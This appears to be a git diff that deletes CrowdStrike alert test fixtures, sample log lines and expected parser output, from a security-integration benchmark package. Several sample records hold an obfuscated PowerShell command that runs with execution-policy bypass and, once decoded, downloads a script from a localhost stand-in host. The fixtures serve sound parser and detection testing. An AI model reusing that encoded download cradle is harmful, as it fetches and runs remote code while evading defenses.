ering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
-{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
-{"attack_types":["Defense Evasion"],"aws_access_key_id":"ASIA****************","aws_recipient_account_id":"XXXXXXXXXXXX","aws_user_account_id":"XXXXXXXXXXXX","cid":"bdc3e3474d8848f1**************","cloud_account_id":"XXXXXXXXXXXX","cloud_provider":"aws","cloud_region":"us-east-2","composite_id":"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","crawled_timestamp":"2026-01-27T20:34:47.330975395Z","created_timestamp":"2026-01-27T20:34:47.330964263Z","data_domains":["Cloud"],"device":{"service_provider":"aws","service_provider_account_id":"XXXXXXXXXXXX"},"display_name":"VPC flow logs disabled","event_category":"Management","event_count":1,"event_id":"09a917ca-d430-4cd2-ae55-ceaec7e7dc94","event_name":"DeleteFlowLogs","event_source":"ec2.amazonaws.com","event_type":"AwsApiCall","falcon_host_link":"https://falcon.us-2.crowdstrike.com/unified-detections/<redacted>","fcs_vertex_id":"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa","first_timestamp":"2026-01-27T20:25:22.94Z","id":"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","last_timestamp":"2026-01-27T20:25:22.94Z","mfa_authenticated":"true","mitre_attack":[{"pattern_id":2036,"tactic_id":"TA0005","technique_id":"T1562.008","tactic":"Defense Evasion","technique":"Impair Defenses:Disable Cloud Logs"}],"name":"VPC flow logs disabled","origin_cid":"bdc3e3474d8848f1**************","pattern_id":2036,"policy_id":"206","policy_statement":"VPC flow logs disabled","poly_id":"<redacted>","product":"fcs","request_parameters":"{\"DeleteFlowLogsRequest\":{\"FlowLogId\":{\"content\":\"fl-***************\",\"tag\":1}}}","resource_gcrn":"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************","resource_uuid":"<redacted>","response_elements":"{\"DeleteFlowLogsResponse\":{\"requestId\":\"<redacted>\",\"unsuccessful\":\"\",\"xmlns\":\"http://ec2.amazonaws.com/doc/2016-11-15/\"}}","seconds_to_resolved":0,"seconds_to_triaged":0,"service":"VPC","severity":40,"severity_name":"Medium","show_in_ui":true,"source_account_name":"elastic-siem","source_ip_address":"34.194.234.218","source_products":["Falcon Cloud Security"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Impair Defenses:Disable Cloud Logs","technique_id":"T1562.008","timestamp":"2026-01-27T20:34:37Z","type":"cloud-ioa","updated_timestamp":"2026-01-27T20:34:47.330964263Z","user_agent":"<redacted>","user_display_name":"user@example.com","user_name":"user@example.com","user_principal_id":"AIDA*************"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
deleted file mode 100644
index f5b6831dd2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
+++ /dev/null
@@ -1,2133 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-11-03T18:00:22.328Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "alleged_filetype": "exe",
-                    "cid": "92012896127c4a948236ba7601b886b0",
-                    "cloud_indicator": false,
-                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "confidence": 10,
-                    "context_timestamp": "2023-11-03T18:00:31.000Z",
-                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-                    "crawl_edge_ids": {
-                        "Sensor": [
-                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
-                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
-                        ]
-                    },
-                    "crawl_vertex_ids": {
-                        "Sensor": [
-                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                        ]
-                    },
-                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-                    "created_timestamp": "2023-11-03T18:01:23.995Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-                    "device": {
-                        "agent_load_flags": 0,
-                        "agent_local_time": "2023-10-12T03:45:57.753Z",
-                        "agent_version": "7.04.17605.0",
-                        "bios_manufacturer": "ABC",
-                        "bios_version": "F8CN42WW(V2.05)",
-                        "cid": "92012896127c4a948236ba7601b886b0",
-                        "config_id_base": "65994763",
-                        "config_id_build": "17605",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.142",
-                        "first_seen": "2023-04-07T09:36:36.000Z",
-                        "groups": [
-                            "18704e21288243b58e4c76266d38caaf"
-                        ],
-                        "hostinfo": {
-                            "active_directory_dn_display": [
-                                "WinComputers",
-                                "WinComputers\\ABC"
-                            ],
-                            "domain": "ABC.LOCAL"
-                        },
-                        "hostname": "ABC709-1175",
-                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                        "last_seen": "2023-11-03T17:51:42.000Z",
-                        "local_ip": "81.2.69.142",
-                        "mac_address": "AB-21-48-61-05-B2",
-                        "machine_domain": "ABC.LOCAL",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                        "os_version": "Windows11",
-                        "ou": [
-                            "ABC",
-                            "WinComputers"
-                        ],
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "site_name": "Default-First-Site-Name",
-                        "status": "normal",
-                        "system_manufacturer": "LENOVO",
-                        "system_product_name": "20VE"
-                    },
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "grandparent_details": {
-                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                        "filename": "userinit.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                        "local_process_id": "4328",
-                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                        "process_id": "392734873135",
-                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                        "timestamp": "2023-10-30T16:49:19.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "yuvraj.mahajan"
-                    },
-                    "has_script_or_module_ioc": true,
-                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "ioc_context": [
-                        {
-                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "ioc_source": "library_load",
-                            "ioc_type": "hash_sha256",
-                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "type": "module"
-                        }
-                    ],
-                    "ioc_values": [
-                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                    ],
-                    "is_synthetic_quarantine_disposition": true,
-                    "local_process_id": "17076",
-                    "logon_domain": "ABSYS",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "name": "PrewittPupAdwareSensorDetect-Lowest",
-                    "objective": "FalconDetectionMethod",
-                    "overwatch_note": "Activity Notice: OverWatch has observed XYZ",
-                    "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z",
-                    "parent_details": {
-                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                        "filename": "explorer.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                        "local_process_id": "1040",
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                        "process_id": "392736520876",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                        "timestamp": "2023-11-03T18:00:32.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "mohit.jha"
-                    },
-                    "parent_process_id": "392736520876",
-                    "pattern_disposition": 2176,
-                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "process_blocked": true,
-                        "quarantine_file": true,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "5761",
-                    "platform": "Windows",
-                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-                    "process_end_time": "2023-11-03T18:00:21.000Z",
-                    "process_id": "399748687993",
-                    "process_start_time": "2023-11-03T18:00:13.000Z",
-                    "product": "epp",
-                    "quarantined_files": [
-                        {
-                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "state": "quarantined"
-                        }
-                    ],
-                    "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123",
-                    "rule_group_name": "Windows Group",
-                    "rule_instance_created_by": "myuser@mydomain.com",
-                    "rule_instance_id": "123",
-                    "rule_instance_name": "INSTANCE-1",
-                    "rule_instance_version": "1",
-                    "scenario": "NGAV",
-                    "severity": 30,
-                    "severity_name": "low",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "FalconInsight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "MachineLearning",
-                    "tactic_id": "CSTA0004",
-                    "technique": "Adware/PUP",
-                    "technique_id": "CST0000",
-                    "timestamp": "2023-11-03T18:00:22.328Z",
-                    "tree_id": "1931778",
-                    "tree_root": "38687993",
